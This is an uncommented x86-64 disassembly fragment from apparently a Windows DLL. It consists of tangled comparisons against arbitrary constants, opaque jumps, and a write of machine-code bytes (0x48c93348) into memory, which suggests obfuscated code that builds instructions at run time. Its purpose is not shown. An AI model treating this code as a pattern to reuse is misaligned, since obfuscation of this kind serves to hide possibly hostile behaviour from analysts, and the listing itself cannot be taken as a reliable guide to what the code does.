cmp rbx, 0x2b
jae 0x180002813
movzx edx, r14b
mov rcx, rsi
call fcn.1800066b0
mov r14b, al
jmp 0x18000288d
cmp rbx, 0x56
jbe 0x180001473
mov eax, 0x4f
cmp rbx, rax
jne 0x18000283a
movzx eax, r15w
sub rax, rsi
lea rsi, [rax + 0x2dd]
jmp 0x180002771
cmp rbx, 0x867d
jne 0x18000284d
mov r15, qword [rbp - 0x40]
mov qword [rbp - 0x30], r15
jmp 0x18000289e
cmp rbx, 0x5b
jae 0x180002862
lea rbx, [rsi + 0x187]
and ebx, 0x357
jmp 0x18000288d
mov eax, 0x49
cmp rbx, rax
ja 0x18000288d
movzx edx, r14b
mov rcx, rbx
mov r8d, edx
call fcn.180002e2c
movzx ebx, r14b
add rbx, 0x3b1
xor rbx, 0x381
cmp rbx, 0x867d
jne 0x180002771
mov r15, qword [rbp - 0x30]
mov dword [r15], 0x48c93348
jmp 0x180002775
mov eax, 0x2f
lea ecx, [rax - 0x2e]
lea r8d, [rax - 0x2f]
lea r9d, [rax + 0xc]
lea r10d, [rax + 8]
cmp di, ax
je 0x1800014e3
cmp di, 0x47
jae 0x1800028ea
movabs rax, 0xd5d20fde972d8539
mul rbx
shr rdx, 9
mov qword [0x18002f038], rdx
jmp 0x18000299f
mov eax, 0x11
cmp di, ax
jae 0x180002909
movzx r8d, di
mov edx, ebx
mov rcx, rbx
call fcn.180002e2c
mov esi, eax
jmp 0x18000299f
mov eax, 0x63
cmp di, ax
jne 0x180002927
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8d, esi
mov edx, eax
mov ecx, eax
jmp 0x18000203d
mov r10d, 0x2ece
cmp di, r10w
jne 0x180002949
xor edx, edx
mov eax, 0x1cd
div rsi
sub dl, 0x15
mov byte [r15 + 4], dl
jmp 0x180002a13
mov edx, 0x12
cmp di, dx
jb 0x1800014dc
lea eax, [rdx + 0x12]
cmp di, ax
jb 0x1800014ea
lea eax, [rdx + 0x1b]
cmp di, ax
jne 0x180002988
xor edx, edx
movzx eax, r14b
div rbx
mov eax, 0x97
sub rax, rdx
mov qword [0x18002f040], rax
jmp 0x180002a13
mov eax, 0xd
cmp di, ax
jae 0x1800029a7
movzx ecx, di
mov edx, ebx
call fcn.1800066b0
movzx edi, ax
mov r10d, 0x2ece
jmp 0x180002a13
cmp di, 0x38
jne 0x1800029c8
xor edx, edx
movzx ecx, r14b
mov eax, 0xcf
div rcx
mov eax, 0x31a
sub dx, ax
movzx edi, dx
jmp 0x180002a13
mov eax, 0x62
cmp di, ax
jne 0x1800029e6
mov qword [rsp + 0x20], rsi
mov r9d, eax
mov r8, rsi
mov edx, eax
mov ecx, eax
jmp 0x1800019d0
mov eax, 0x61
cmp di, ax
jae 0x180002a00
movzx ecx, di
mov r9, rbx
mov edx, ecx
mov r8, rbx
jmp 0x1800019cb
mov eax, 0x5f
cmp di, ax
jb 0x180002a13
cmp di, dx
jbe 0x1800014dc
mov r14b, bl
mov eax, 0x58
xor r14b, 0x80
cmp di, ax
ja 0x180002a32
movzx ecx, di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x1800019d5
cmp di, 0x1c
jae 0x180002a48
xor r8d, r8d
mov ebx, r8d
mov ecx, 0x10
jmp 0x180002b9b
mov eax, 8
cmp di, ax
jae 0x180002a69
mov edi, 0x53
xor r8d, r8d
lea r9d, [r8 + 0x3b]
lea ecx, [r8 + 1]
mov r10d, 0x37
jmp 0x180001479